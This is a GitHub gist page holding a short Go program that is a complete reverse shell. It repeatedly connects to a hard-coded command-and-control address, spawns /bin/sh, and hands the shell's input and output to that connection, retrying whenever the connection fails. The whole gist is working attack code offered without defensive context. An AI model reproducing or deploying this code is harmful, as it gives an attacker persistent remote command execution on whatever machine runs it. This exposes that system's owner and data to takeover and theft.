Skip to content

Instantly share code, notes, and snippets.

@picatz
Created May 12, 2018 02:54
Show Gist options
  • Save picatz/6438e0cef5c62348202686942c52596a to your computer and use it in GitHub Desktop.
Save picatz/6438e0cef5c62348202686942c52596a to your computer and use it in GitHub Desktop.
package main
import "os/exec"
import "net"
func main() {
// require metadata
c2IP := "192.168.1.1"
port := "80"
for {
// create plaintext tcp connection to c2
c2, err := net.Dial("tcp", c2IP + ":" + port)
if err != nil {
continue // let's try again!
}
// spawn a system shell
shell := exec.Command("/bin/sh")
// pass the shell's acitivity to the c2
shell.Stdin = c2
shell.Stdout = c2
shell.Stderr = c2
// let'r run!
shell.Run()
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment